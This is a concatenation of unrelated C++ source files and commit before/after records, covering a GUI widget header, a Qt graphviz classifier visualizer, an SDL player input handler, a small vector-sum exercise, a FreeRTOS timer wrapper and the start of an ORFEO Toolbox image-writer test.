"./Stylesheet.hpp" #include "./Resource.hpp" #include "./Full_resource_mapper.hpp" namespace cppgui { // Forward declarations template <class Config, bool With_layout> class Root_widget; template <class Config, bool With_layout> class Abstract_container; /*template <class Config, bool With_layout>*/ class Drag_controller; enum Key_state { pressed, released }; // TODO: move to basic_types.hpp ? template <class Renderer> class Canvas; /** Abstract_widget: functionality common to both Root_widget and Widget, i.e. not including the ability to function as an element in a container. */ template <class Config, bool With_layout> class Abstract_widget { public: using Abstract_widget_t = Abstract_widget; using Root_widget_t = Root_widget<Config, With_layout>; using Canvas_t = typename Canvas<typename Config::Renderer>; using Native_color = typename Canvas_t::Native_color; using Font_handle = typename Canvas_t::Font_handle; using Keyboard = typename Config::Keyboard; using Keycode = typename Keyboard::Keycode; // TODO: move the following resource type definitions into a special struct and inherit from that ? using Color_resource = Resource<const Color &, Native_color, Canvas_t, true>; using Font_resource = Resource<const Rasterized_font *, Font_handle, Canvas_t, false>; using Click_handler = std::function<void(const Point &, int button, int clicks)>; // TODO: support return value ? using Pushed_handler = std::function<void()>; // for buttons TODO: renamed event to "Push" (as in "a push happened") ? auto& rectangle() { return _rect; } auto& rectangle() const { return _rect; } auto& position() { return _rect.pos; } auto& position() const { return _rect.pos; } auto& extents() { return _rect.ext; } auto& extents() const { return _rect.ext; } void set_position(const Point &); void set_extents(const Extents &); // TODO: color and other style definitions belong into stylesheets //static auto button_face_color () { return Color{ 0.8f, 0.8f, 0.8f, 1 }; } //static auto button_face_hovered_color() { return Color{ 0.9f, 0.9f, 0.9f, 1 }; } /** The init() entry point is where a widget "connects" to its backends (the most important of which being the canvas). */ virtual void init() {} /** The update_view_from_data() entry point must be called after init(), and also after layout() if run-time layouting is enabled. */ virtual void compute_view_from_data() {} virtual auto root_widget() -> Root_widget_t * = 0; // Input event injection /** By convention, mouse positions are passed to a widget as relative to their own origin (meaning that it falls to the caller, i.e. usually the container, to subtract the child widget's position() from the coordinates it gets from yet higher up). */ virtual void mouse_motion(const Point &) {} virtual void mouse_button(const Point &, int /*button*/, Key_state) {} virtual void mouse_click(const Point &, int button, int count); virtual void mouse_wheel(const Vector &) {} virtual void text_input(const char32_t *, size_t) {} virtual void key_down(const Keycode &) {} virtual void mouse_enter() {} // TODO: provide "entry point" parameter ? virtual void mouse_exit() {} // TODO: provide "exit point" parameter ? bool disabled() const { return false; } // TODO!!! /** Convention: the provided position is an offset to be added to the widget's own coordinates. */ virtual void render(Canvas_t *, const Point &offs) = 0; virtual bool handle_key_down(const Keycode &) { return false; } protected: // Rendering conveniences // auto rgba_to_native(Canvas_t *, const Color &) -> Native_color; auto rgba_to_native(const Color &) -> Native_color; void fill_rect(Canvas_t *, const Rectangle &rect, const Native_color &); void fill_rect(Canvas_t *, const Rectangle &rect, const Point &offs, const Native_color &); void fill_rect(Canvas_t *, const Point &pos, const Extents &ext, const Native_color &); void fill(Canvas_t *, const Point &offs, const Native_color &); auto convert_position_to_inner(const Point &) -> Point; auto advance_to_glyph_at(const Rasterized_font *, const std::u32string &text, size_t from, size_t to, Point &pos) -> const Glyph_control_box *; void draw_borders(Canvas_t *, const Point & offs, Width width, const Color &color); void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color &color); void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color & top, const Color & right, const Color & bottom, const Color & left); // PROVISIONAL void draw_stippled_inner_rect(Canvas_t *, const Rectangle &, const Point &offs); // Experimental & temporary: implement more sophisticated (and flexible!) styling // - May not / should not stay static; make const if possible static auto stroke_width() -> int { return 1; } static auto stroke_color() -> Color { return { 0, 0, 0, 1 }; } //static auto padding() -> int { return 5; } static auto paper_color() -> Color { return {1, 1, 1, 1}; } private: Rectangle _rect = {}; }; template <class Config, bool With_layout> struct Widget__Layouter { template <class Aspect_parent> struct Aspect: Aspect_parent { void init_layout() {} }; }; // Widget template <class Config, bool With_layout> class Widget: public Config::template Widget_updater< Widget__Layouter<Config, With_layout>::template Aspect< Abstract_widget<Config, With_layout> > > { public: using Renderer = typename Config::Renderer; using Font_handle = typename Renderer::font_handle; using Keyboard = typename Config::Keyboard; using Keycode = typename Keyboard::Keycode; using Abstract_container_t = Abstract_container<Config, With_layout>; using Root_widget_t = Root_widget<Config, With_layout>; using Click_handler = typename Abstract_widget::Click_handler; void set_background_color(const Color &); auto background_color() const; void on_click(Click_handler); // void init(); void set_visible(bool visible = true); bool visible() const { return _visible; } void set_focussable(bool state = true) { _focussable = state; } bool focussable() const { return _focussable; } // TODO: replace with can_take_focus() that takes other factors into consideration ? void added_to_container(Abstract_container_t *); void removed_from_container(Abstract_container_t *); // TODO: should the following be protected ? bool hovered() const { return _hovered; } virtual void take_focus(); /** Important: do not call gained_focus() from a child; call child_obtained_focus() instead, to inform the container. */ virtual void gained_focus(); virtual void loosing_focus(); // TODO: rename to has_keyboard_focus() ? bool has_focus() { return container()->container_has_focus() && container()->focused_child() == this; } bool is_first_child() { return container()->children().front() == this; } bool is_last_child () { return container()->children().back () == this; } void key_down(const Keycode &); //void key_up(const Keycode &); void mouse_enter() override; void mouse_exit() override; void mouse_click(const Point &, int button, int count) override; void change_visible(bool visible = true); protected: auto container() const { return _container; } auto root_widget() -> Root_widget_t * override { return _container->container_root_widget(); } void pass_up_and_notify_focus(); // default take_focus() action // Graphics system integration void shift_horizontally(Position_delta); void shift_vertically(Position_delta); void shift_up (Length); void shift_down(Length); // Static styles // TODO: move to "stylesheet" static auto default_dialog_background_color() -> Color { return {0.6f, 0.6f, 0.6f, 1}; } // Styling // TODO: move to new class Abstract_button<> ? auto button_face_color() -> Color; auto button_border_color() -> Color; auto button_border_width() -> int; Abstract_container_t *_container = nullptr; //Rectangle _inner_rect; private: friend class Drag_controller; friend class Root_widget<Config, With_layout>; Color _bkgnd_clr = {0, 0, 0, 0}; Click_handler _click_hndlr; bool _visible = true; bool _focussable = true; bool _hovered = false; }; // Default implementations for Updating_aspect /** The "Updater" aspect of a widget is responsible for making sure it gets redrawn when invalidate() has been called. The default implementation uses a pointer to parent to pass up redraw requests until they reach the root widget, which "handles" the request by passing it along to callback function. Because there is chance that a different implementation may not need to follow that route (e.g. by calling render() directly), the pointer to container may not be needed, so it is a member of this aspect implementation rather than of Widget<> itself. TODO: THIS IS PROVISIONAL. If it turns out, during further development, that a pointer to container is needed for reasons that are not dependent on the Updater (or any other) aspect family, that pointer, and the methods associated with it, should be moved to the Widget<> stem class. */ template<class Config, bool With_layout> class Abstract_container; template<class Config, bool With_layout> class Default_container_updater; template<class Config, bool With_layout> struct Default__Widget__Updater { template<class Aspect_parent> struct Aspect: public Aspect_parent { class Widget_t: public Widget<Config, true> { friend struct Aspect; }; using Abstract_container_t = Abstract_container<Config, With_layout>; void invalidate(); private: auto p() { return static_cast<Widget_t*>(this); } }; }; // Layouting aspect /** TODO: rename to reflect the fact that this is abstract ? */ template <class Config> struct Widget__Layouter<Config, true> { template <class Aspect_parent> struct Aspect: public Aspect_parent { /** It is up to the implementation to guarantee that any internal state/data needed for layouting (including computing/returning the get_minimal_size()) is kept up to date. */ // Layouter aspect contract virtual void init_layout() = 0; virtual auto get_minimal_size () -> Extents = 0; virtual auto get_preferred_size() -> Extents { return get_minimal_size(); } virtual void layout() = 0; //void set_padding(Width); //void set_padding(const std::initializer_list<Width> &); void set_rectangle(const Point &nw, const Point &se); void set_rectangle_nw(const Point &, const Extents &); void set_rectangle_ne(const Point &, const Extents &); void set_rectangle_se(const Point &, const Extents &); void set_rectangle_sw(const Point &, const Extents &); protected: class Widget_t: public Widget<Config, true> { friend struct Aspect; }; auto p() { return static_cast<Widget_t*>(this); } // "Stylesheet" TODO: make this into another aspect ? static constexpr auto button_padding() -> Padding { return { 5, 5, 5, 5 }; } // void compute_inner_rect(); //Padding _padding = {}; // TODO: provide accessor ? }; }; } // ns cppgui #define CPPGUI_INSTANTIATE_WIDGET(Config, With_layout) \ template cppgui::Widget <Config, With_layout>; \ template cppgui::Widget__Layouter <Config, With_layout>; <|endoftext|>
<commit_before>#include <QCoreApplication> #include <QTemporaryFile> #include <QDir> #include <objedutils/objedconsole.h> #include <objedutils/objedconf.h> #include <objedutils/objedexp.h> #include <objedutils/objedio.h> #include <objed/src/additivecl.h> #include <objed/src/linearcl.h> #include "visualizer.h" int Visualizer::falseNodeCount = 0; int Visualizer::trueNodeCount = 0; int main(int argc, char *argv[]) { QCoreApplication app(argc, argv); if (app.arguments().count() < 3) { QTextStream out(stdout); out << "Visualizer. Visualize objed classifier as a graph (using graphviz)" << endl; out << "Usage: visualizer <classifier-path> <output-image-path> [<graphviz-dir-path>]" << endl; return -1; } QString classifierPath = app.arguments()[1]; QString outputImagePath = app.arguments()[2]; Visualizer visualizer(app.arguments().count() > 3 ? app.arguments()[3] : ""); return visualizer.main(classifierPath, outputImagePath); } Visualizer::Visualizer(const QString &graphvizDirPath) { #ifdef Q_OS_WIN if (graphvizDirPath.isEmpty() == false) { dotProcess.setWorkingDirectory(graphvizDirPath); } else { QStringList graphvizDirPathList; QDir programFilesDir(qgetenv("ProgramFiles")); foreach (QString dirName, programFilesDir.entryList(QStringList("Graphviz*"), QDir::Dirs)) graphvizDirPathList.append(programFilesDir.absoluteFilePath(dirName)); if (graphvizDirPathList.count() > 0) dotProcess.setWorkingDirectory(graphvizDirPathList.last() + "/bin"); } #else //Q_OS_WIN if (graphvizDirPath.isEmpty() == false) { dotProcess.setWorkingDirectory(graphvizDirPath); } #endif //Q_OS_WIN } Visualizer::~Visualizer() { return; } int Visualizer::main(const QString &classifierPath, const QString &outputImagePath) { QDir appDir(QCoreApplication::applicationDirPath()); try { QTemporaryFile digraphFile; if (digraphFile.open() == false) throw ObjedException("Cannot create temporary file"); QTextStream out(&digraphFile); out << "digraph Cascade {" << endl; QSharedPointer<objed::Classifier> classifier = ObjedIO::loadClassifier(classifierPath); if (classifier.isNull() == true) throw ObjedException("Cannot load classifier"); if (classifier->type() == objed::CascadeClassifier::typeStatic()) visualizeCascade(QTextStream(&digraphFile), classifier.dynamicCast<objed::CascadeClassifier>().data()); else if (classifier->type() == objed::TreeClassifier::typeStatic()) visualizeTree(QTextStream(&digraphFile), classifier.dynamicCast<objed::TreeClassifier>().data()); else throw ObjedException("Unsupported classifier type"); out << "}" << endl; QStringList dotArguments; dotArguments.append(QString("-T%0").arg(QFileInfo(outputImagePath).suffix().toLower())); dotArguments.append(QString("-o%0").arg(appDir.absoluteFilePath(outputImagePath))); dotArguments.append(digraphFile.fileName()); QString dotPath = dotProcess.workingDirectory().isEmpty() ? "dot" : QDir(dotProcess.workingDirectory()).absoluteFilePath("dot"); dotProcess.start(dotPath, dotArguments); if (dotProcess.waitForFinished() == false) throw ObjedException("Cannot run dot process"); QByteArray dotOutput = dotProcess.readAllStandardOutput(); if (dotOutput.length() > 0) ObjedConsole::printWarning(dotOutput.trimmed()); QByteArray dotError = dotProcess.readAllStandardError(); if (dotError.length() > 0) ObjedConsole::printWarning(dotError.trimmed()); } catch (ObjedException ex) { ObjedConsole::printError(ex.details()); } return 0; } int Visualizer::computeWCCount(const objed::Classifier *classifier) { if (classifier == 0) throw ObjedException("Invalid classifier (classifier == null)"); if (classifier->type() == objed::LinearClassifier::typeStatic()) return dynamic_cast<const objed::LinearClassifier *>(classifier)->clList.size(); if (classifier->type() == objed::AdditiveClassifier::typeStatic()) return dynamic_cast<const objed::AdditiveClassifier *>(classifier)->clList.size(); throw ObjedException("Unsupported strong classifier"); } void Visualizer::connect(QTextStream &out, const QString &node1, const QString &node2, bool type) { out << QString("%0 -> %1 [label = \" %3\"];").arg(node1).arg(node2).arg(type ? "T" : "F"); } void Visualizer::connect(QTextStream &out, const QString &node1, bool type) { QString nodeId = type ? QString("true%0").arg(trueNodeCount++) : QString("false%0").arg(falseNodeCount++); QString nodeColor = type ? QString("darkgreen") : QString("red"); QString nodeLabel = type ? QString("True") : QString("False"); out << QString("%0 [label = \"%1\", shape = ellipse, color = %2, fontcolor = %2];"). arg(nodeId).arg(nodeLabel).arg(nodeColor) << endl; connect(out, node1, nodeId, type); } int Visualizer::visualizeCascade(QTextStream &out, objed::CascadeClassifier *cascade) { if (cascade == 0 || cascade->clList.size() == 0) throw ObjedException("The cascade has no levels"); for (size_t i = 0; i < cascade->clList.size() - 1; i++) { int wcCount = computeWCCount(cascade->clList[i]); out << QString("sc%0 [label = \"Sc (%1 Wc)\"];").arg(i).arg(wcCount) << endl; connect(out, QString("sc%0").arg(i), false); connect(out, QString("sc%0").arg(i), QString("sc%0").arg(i + 1), true); } connect(out, QString("sc%0").arg(cascade->clList.size() - 1), false); connect(out, QString("sc%0").arg(cascade->clList.size() - 1), true); return 0; } int Visualizer::visualizeTree(QTextStream &out, objed::TreeClassifier *tree) { static int scIndex = 0; if (tree == 0 || tree->centralCl == 0) throw ObjedException("The tree has no nodes"); const int myIndex = scIndex++; const int wcCount = computeWCCount(tree->centralCl); out << QString("sc%0 [label = \"Sc (%1 Wc)\"];").arg(myIndex).arg(wcCount) << endl; if (tree->leftCl != 0) { int leftIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->leftCl)); connect(out, QString("sc%0").arg(myIndex), QString("sc%0").arg(leftIndex), false); } else { connect(out, QString("sc%0").arg(myIndex), false); } if (tree->rightCl != 0) { int rightIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->rightCl)); connect(out, QString("sc%0").arg(myIndex), QString("sc%0").arg(rightIndex), true); } else { connect(out, QString("sc%0").arg(myIndex), true); } return myIndex; } <commit_msg>Fix visualizing of cascades<commit_after>#include <QCoreApplication> #include <QTemporaryFile> #include <QDir> #include <objedutils/objedconsole.h> #include <objedutils/objedconf.h> #include <objedutils/objedexp.h> #include <objedutils/objedio.h> #include <objed/src/additivecl.h> #include <objed/src/linearcl.h> #include "visualizer.h" int Visualizer::falseNodeCount = 0; int Visualizer::trueNodeCount = 0; int main(int argc, char *argv[]) { QCoreApplication app(argc, argv); if (app.arguments().count() < 3) { QTextStream out(stdout); out << "Visualizer. Visualize objed classifier as a graph (using graphviz)" << endl; out << "Usage: visualizer <classifier-path> <output-image-path> [<graphviz-dir-path>]" << endl; return -1; } QString classifierPath = app.arguments()[1]; QString outputImagePath = app.arguments()[2]; Visualizer visualizer(app.arguments().count() > 3 ? app.arguments()[3] : ""); return visualizer.main(classifierPath, outputImagePath); } Visualizer::Visualizer(const QString &graphvizDirPath) { #ifdef Q_OS_WIN if (graphvizDirPath.isEmpty() == false) { dotProcess.setWorkingDirectory(graphvizDirPath); } else { QStringList graphvizDirPathList; QDir programFilesDir(qgetenv("ProgramFiles")); foreach (QString dirName, programFilesDir.entryList(QStringList("Graphviz*"), QDir::Dirs)) graphvizDirPathList.append(programFilesDir.absoluteFilePath(dirName)); if (graphvizDirPathList.count() > 0) dotProcess.setWorkingDirectory(graphvizDirPathList.last() + "/bin"); } #else //Q_OS_WIN if (graphvizDirPath.isEmpty() == false) { dotProcess.setWorkingDirectory(graphvizDirPath); } #endif //Q_OS_WIN } Visualizer::~Visualizer() { return; } int Visualizer::main(const QString &classifierPath, const QString &outputImagePath) { QDir appDir(QCoreApplication::applicationDirPath()); try { QTemporaryFile digraphFile; if (digraphFile.open() == false) throw ObjedException("Cannot create temporary file"); QTextStream out(&digraphFile); out << "digraph Cascade {" << endl; QSharedPointer<objed::Classifier> classifier = ObjedIO::loadClassifier(classifierPath); if (classifier.isNull() == true) throw ObjedException("Cannot load classifier"); if (classifier->type() == objed::CascadeClassifier::typeStatic()) visualizeCascade(QTextStream(&digraphFile), classifier.dynamicCast<objed::CascadeClassifier>().data()); else if (classifier->type() == objed::TreeClassifier::typeStatic()) visualizeTree(QTextStream(&digraphFile), classifier.dynamicCast<objed::TreeClassifier>().data()); else throw ObjedException("Unsupported classifier type"); out << "}" << endl; QStringList dotArguments; dotArguments.append(QString("-T%0").arg(QFileInfo(outputImagePath).suffix().toLower())); dotArguments.append(QString("-o%0").arg(appDir.absoluteFilePath(outputImagePath))); dotArguments.append(digraphFile.fileName()); QString dotPath = dotProcess.workingDirectory().isEmpty() ? "dot" : QDir(dotProcess.workingDirectory()).absoluteFilePath("dot"); dotProcess.start(dotPath, dotArguments); if (dotProcess.waitForFinished() == false) throw ObjedException("Cannot run dot process"); QByteArray dotOutput = dotProcess.readAllStandardOutput(); if (dotOutput.length() > 0) ObjedConsole::printWarning(dotOutput.trimmed()); QByteArray dotError = dotProcess.readAllStandardError(); if (dotError.length() > 0) ObjedConsole::printWarning(dotError.trimmed()); } catch (ObjedException ex) { ObjedConsole::printError(ex.details()); } return 0; } int Visualizer::computeWCCount(const objed::Classifier *classifier) { if (classifier == 0) throw ObjedException("Invalid classifier (classifier == null)"); if (classifier->type() == objed::LinearClassifier::typeStatic()) return dynamic_cast<const objed::LinearClassifier *>(classifier)->clList.size(); if (classifier->type() == objed::AdditiveClassifier::typeStatic()) return dynamic_cast<const objed::AdditiveClassifier *>(classifier)->clList.size(); throw ObjedException("Unsupported strong classifier"); } void Visualizer::connect(QTextStream &out, const QString &node1, const QString &node2, bool type) { out << QString("%0 -> %1 [label = \" %3\"];").arg(node1).arg(node2).arg(type ? "T" : "F"); } void Visualizer::connect(QTextStream &out, const QString &node1, bool type) { QString nodeId = type ? QString("true%0").arg(trueNodeCount++) : QString("false%0").arg(falseNodeCount++); QString nodeColor = type ? QString("darkgreen") : QString("red"); QString nodeLabel = type ? QString("True") : QString("False"); out << QString("%0 [label = \"%1\", shape = ellipse, color = %2, fontcolor = %2];"). arg(nodeId).arg(nodeLabel).arg(nodeColor) << endl; connect(out, node1, nodeId, type); } int Visualizer::visualizeCascade(QTextStream &out, objed::CascadeClassifier *cascade) { if (cascade == 0 || cascade->clList.size() == 0) throw ObjedException("The cascade has no levels"); size_t i = 0; for (i = 0; i < cascade->clList.size() - 1; i++) { int wcCount = computeWCCount(cascade->clList[i]); out << QString("sc%0 [label = \"Sc (%1 Wc)\"];").arg(i).arg(wcCount) << endl; connect(out, QString("sc%0").arg(i), false); connect(out, QString("sc%0").arg(i), QString("sc%0").arg(i + 1), true); } int wcCount = computeWCCount(cascade->clList[i]); out << QString("sc%0 [label = \"Sc (%1 Wc)\"];").arg(i).arg(wcCount) << endl; connect(out, QString("sc%0").arg(i), false); connect(out, QString("sc%0").arg(i), true); return 0; } int Visualizer::visualizeTree(QTextStream &out, objed::TreeClassifier *tree) { static int scIndex = 0; if (tree == 0 || tree->centralCl == 0) throw ObjedException("The tree has no nodes"); const int myIndex = scIndex++; const int wcCount = computeWCCount(tree->centralCl); out << QString("sc%0 [label = \"Sc (%1 Wc)\"];").arg(myIndex).arg(wcCount) << endl; if (tree->leftCl != 0) { int leftIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->leftCl)); connect(out, QString("sc%0").arg(myIndex), QString("sc%0").arg(leftIndex), false); } else { connect(out, QString("sc%0").arg(myIndex), false); } if (tree->rightCl != 0) { int rightIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->rightCl)); connect(out, QString("sc%0").arg(myIndex), QString("sc%0").arg(rightIndex), true); } else { connect(out, QString("sc%0").arg(myIndex), true); } return myIndex; } <|endoftext|>
<commit_before>#include "Player.h" #include "InputHandler.h" /** * The joystick button and sticks states are checked. If the button 1 (B on * xbox controller) is pressed, the player's speed is increased (it makes him * run), if the left stick is tilted in any direction, the player's velocity is * set. */ void Player::handleInput() { float xAxisValue, yAxisValue, velocityBasis = 1.0; InputHandler* handlerInstance = InputHandler::Instance(); if (handlerInstance->joysticksInitialised()) { if (handlerInstance->getButtonState(0, 1)) { velocityBasis = 2.5; } xAxisValue = (float) handlerInstance->stickXValue(0, LEFT_STICK); yAxisValue = (float) handlerInstance->stickYValue(0, LEFT_STICK); if (xAxisValue > 0 || xAxisValue < 0) { m_velocity.setX(velocityBasis * xAxisValue); setAnimated(true); } if (yAxisValue > 0 || yAxisValue < 0) { m_velocity.setY(velocityBasis * yAxisValue); setAnimated(true); } } } /** * Reset the player velocity and update the input even polling and the player */ void Player::update() { setAnimated(false); m_velocity.setX(0); m_velocity.setY(0); handleInput(); SDLDrawable::update(); } <commit_msg>when sprinting, the player is animated faster<commit_after>#include "Player.h" #include "InputHandler.h" /** * The joystick button and sticks states are checked. If the button 1 (B on * xbox controller) is pressed, the player's speed is increased (it makes him * run), if the left stick is tilted in any direction, the player's velocity is * set. */ void Player::handleInput() { float xAxisValue, yAxisValue, velocityBasis = 1.0; InputHandler* handlerInstance = InputHandler::Instance(); if (handlerInstance->joysticksInitialised()) { if (handlerInstance->getButtonState(0, 1)) { velocityBasis = 2.5; setAnimationSpeed(15); } else { setAnimationSpeed(10); } xAxisValue = (float) handlerInstance->stickXValue(0, LEFT_STICK); yAxisValue = (float) handlerInstance->stickYValue(0, LEFT_STICK); if (xAxisValue > 0 || xAxisValue < 0) { m_velocity.setX(velocityBasis * xAxisValue); setAnimated(true); } if (yAxisValue > 0 || yAxisValue < 0) { m_velocity.setY(velocityBasis * yAxisValue); setAnimated(true); } } } /** * Reset the player velocity and update the input even polling and the player */ void Player::update() { setAnimated(false); m_velocity.setX(0); m_velocity.setY(0); handleInput(); SDLDrawable::update(); } <|endoftext|>
<commit_before>/* * template.cpp * * Just some boilerplate stuff to use for each file. */ #include <iostream> #include <complex> using namespace std; struct Vector { int size; double *elem; }; void vector_init(Vector & v, int s) { v.elem = new double[s]; v.size = s; } double read_and_sum(int s) { Vector v; vector_init(v, s); for (auto i=0; i!=s; ++i) cin >> v.elem[i]; double sum = 0; for (auto i=0; i!=s; ++i) sum += v.elem[i]; return sum; } int main() { const auto num_vals = 5; cout << "Please give me " << num_vals << " floating point numbers.\n"; double sum = read_and_sum(num_vals); cout << "The sum is: " << sum << "\n"; } // vim: set ai sw=4 et sm: <commit_msg>Just for grins, break vector handling into 3 separate routines: init, read, sum.<commit_after>/* * template.cpp * * Just some boilerplate stuff to use for each file. */ #include <iostream> #include <complex> using namespace std; struct Vector { int size; double *elem; }; void vector_init(Vector & v, int s) { v.elem = new double[s]; v.size = s; } /* Fill values in a Vector. Assume an already initialized vector is passed in */ void read_vector(Vector & v) { cout << "Please give me " << v.size << " floating point numbers.\n"; for (auto i=0; i!=v.size; ++i) cin >> v.elem[i]; } /* Sum values in a Vector. */ double sum_vector(Vector & v) { double sum = 0; for (auto i=0; i!=v.size; ++i) sum += v.elem[i]; return sum; } int main() { int num_vals; cout << "How many elements in the vector? "; cin >> num_vals; Vector v; vector_init(v, num_vals); read_vector(v); // double sum = read_and_sum(num_vals); cout << "The sum is: " << sum_vector(v) << "\n"; } // vim: set ai sw=4 et sm: <|endoftext|>
<commit_before>#include "RTimer.h" #include "RTimerEvent.h" #include "RCoreApplication.h" #include "RScopedPointer.h" RTimer::RTimer() : mIsSingleShot(false) { // NOTE: Set timer run as idle task by default, but we can't set interval to // zero, otherwise the created timer will return to NULL, so we give value 1 . mHandle = xTimerCreate( "", 1, pdFALSE, // one-shot timer reinterpret_cast<void *>(0), onTimeout ); vTimerSetTimerID(mHandle, this); } RTimer::~RTimer() { xTimerDelete(mHandle, 0); } int RTimer::interval() const { return xTimerGetPeriod(mHandle) * portTICK_PERIOD_MS; } bool RTimer::isActive() const { return xTimerIsTimerActive(mHandle); } bool RTimer::isSingleShot() const { return mIsSingleShot; } void RTimer::setInterval(int msec) { xTimerChangePeriod(mHandle, msec / portTICK_PERIOD_MS, 0); // xTimerChangePeriod will cause timer start, so we need to stop it // immediately stop(); } void RTimer::setSingleShot(bool singleShot) { mIsSingleShot = singleShot; } int RTimer::timerId() const { // WARNING: We shorten handle to id value, but it may lead duplicate id values. return rShortenPtr(pvTimerGetTimerID(mHandle)); } void RTimer::start(int msec) { setInterval(msec); start(); } void RTimer::start() { stop(); xTimerStart(mHandle, 0); } void RTimer::stop() { xTimerStop(mHandle, 0); } bool RTimer::event(REvent *e) { if(e->type() == RTimerEvent::staticType()) { // FIXME: Here may be generate a potential crash auto timerEvent = static_cast<RTimerEvent *>(e); timeout.emit(); if(!mIsSingleShot) { start(); // Restart timer for next round } timerEvent->accept(); return true; } return RObject::event(e); } void RTimer::onTimeout(TimerHandle_t handle) { auto self = static_cast<RTimer *>(pvTimerGetTimerID(handle)); // NOTE: Event will be deleted in REventLoop after they handled that event. RScopedPointer<RTimerEvent> event(new RTimerEvent(self->timerId())); RCoreApplication::postEvent(self, event.take()); } <commit_msg>Fixed period may less or equal to 0<commit_after>#include "RTimer.h" #include "RTimerEvent.h" #include "RCoreApplication.h" #include "RScopedPointer.h" RTimer::RTimer() : mIsSingleShot(false) { // NOTE: Set timer run as idle task by default, but we can't set interval to // zero, otherwise the created timer will return to NULL, so we give value 1 . mHandle = xTimerCreate( "", 1, pdFALSE, // one-shot timer reinterpret_cast<void *>(0), onTimeout ); vTimerSetTimerID(mHandle, this); } RTimer::~RTimer() { xTimerDelete(mHandle, 0); } int RTimer::interval() const { return xTimerGetPeriod(mHandle) * portTICK_PERIOD_MS; } bool RTimer::isActive() const { return xTimerIsTimerActive(mHandle); } bool RTimer::isSingleShot() const { return mIsSingleShot; } void RTimer::setInterval(int msec) { msec /= portTICK_PERIOD_MS; if(msec <= 0) { msec = 1; } xTimerChangePeriod(mHandle, msec, 0); // xTimerChangePeriod will cause timer start, so we need to stop it // immediately stop(); } void RTimer::setSingleShot(bool singleShot) { mIsSingleShot = singleShot; } int RTimer::timerId() const { // WARNING: We shorten handle to id value, but it may lead duplicate id values. return rShortenPtr(pvTimerGetTimerID(mHandle)); } void RTimer::start(int msec) { setInterval(msec); start(); } void RTimer::start() { stop(); xTimerStart(mHandle, 0); } void RTimer::stop() { xTimerStop(mHandle, 0); } bool RTimer::event(REvent *e) { if(e->type() == RTimerEvent::staticType()) { // FIXME: Here may be generate a potential crash auto timerEvent = static_cast<RTimerEvent *>(e); timeout.emit(); if(!mIsSingleShot) { start(); // Restart timer for next round } timerEvent->accept(); return true; } return RObject::event(e); } void RTimer::onTimeout(TimerHandle_t handle) { auto self = static_cast<RTimer *>(pvTimerGetTimerID(handle)); // NOTE: Event will be deleted in REventLoop after they handled that event. RScopedPointer<RTimerEvent> event(new RTimerEvent(self->timerId())); RCoreApplication::postEvent(self, event.take()); } <|endoftext|>
<commit_before>/*========================================================================= Program: ORFEO Toolbox Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) Centre National d'Etudes Spatiales. All rights reserved. See OTBCopyright.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #include "otbVectorImage.h" #include "itkMacro.h" #include <iostream> #include "otbImageFileReader.h" #include "otbImageFileWriter.h" #include "otbMultiChannelExtractROI.h" int otbImageFileWriterWithExtendedOptionBox(int argc, char* argv[]) { // Verify the number of parameters in the command line const std::string inputFilename = argv[1]; const std::string outputFilename = argv[2]; const unsigned int startx = atoi(argv[3]); const unsigned int starty = atoi(argv[4]); const unsigned int sizex = atoi(argv[5]); const unsigned int sizey = atoi(argv[6]); const unsigned int ram = atoi(argv[7]); const std::string separator = ":"; typedef float InputPixelType; typedef float OutputPixelType; typedef otb::VectorImage<InputPixelType, 2> InputImageType; typedef InputImageType::PixelType PixelType; typedef otb::MultiChannelExtractROI<InputImageType::InternalPixelType, InputImageType::InternalPixelType> ExtractROIFilterType; typedef otb::ImageFileReader<InputImageType> ReaderType; typedef otb::ImageFileWriter<InputImageType> WriterType; typedef itk::ImageRegionIterator< InputImageType > IteratorType; typedef itk::ImageRegionConstIterator< InputImageType > ConstIteratorType; ReaderType::Pointer reader = ReaderType::New(); ExtractROIFilterType::Pointer extractROIFilter = ExtractROIFilterType::New(); WriterType::Pointer writer = WriterType::New(); reader->SetFileName(inputFilename); //Build output filename with extended box std::ostringstream outputFilenameExtended; outputFilenameExtended << outputFilename << "?&box=" << startx << separator << starty << separator << sizex << separator << sizey ; std::cout << "Output image with user defined path " << outputFilenameExtended.str() << std::endl; writer->SetFileName(outputFilenameExtended.str()); writer->SetInput(reader->GetOutput()); writer->SetAutomaticAdaptativeStreaming(ram); extractROIFilter->SetStartX(startx); extractROIFilter->SetStartY(starty); extractROIFilter->SetSizeX(sizex); extractROIFilter->SetSizeY(sizey); extractROIFilter->SetInput(reader->GetOutput()); writer->Update(); extractROIFilter->Update(); ReaderType::Pointer reader2 = ReaderType::New(); reader2->SetFileName(outputFilename); reader2->Update(); InputImageType::ConstPointer readImage = reader2->GetOutput(); InputImageType::ConstPointer extractImage = extractROIFilter->GetOutput(); ConstIteratorType ritr( readImage, readImage->GetLargestPossibleRegion() ); ConstIteratorType extractitr( extractImage, extractImage->GetLargestPossibleRegion() ); ritr.GoToBegin(); extractitr.GoToBegin(); std::cout << "Comparing the pixel values.. :" << std::endl; while( !ritr.IsAtEnd() && !extractitr.IsAtEnd() ) { if( ritr.Get() != extractitr.Get() ) { std::cerr << "Pixel comparison failed at index = " << ritr.GetIndex() << std::endl; std::cerr << "Expected pixel value " << extractitr.Get() << std::endl; std::cerr << "Read Image pixel value " << ritr.Get() << std::endl; return EXIT_FAILURE; } ++extractitr; ++ritr; } std::cout << std::endl; std::cout << "Test PASSED !" << std::endl; return EXIT_SUCCESS; } <commit_msg>STYLE<commit_after>/*========================================================================= Program: ORFEO Toolbox Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) Centre National d'Etudes Spatiales. All rights reserved. See OTBCopyright.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #include "otbVectorImage.h" #include "itkMacro.h" #include <iostream> #include "otbImageFileReader.h" #include 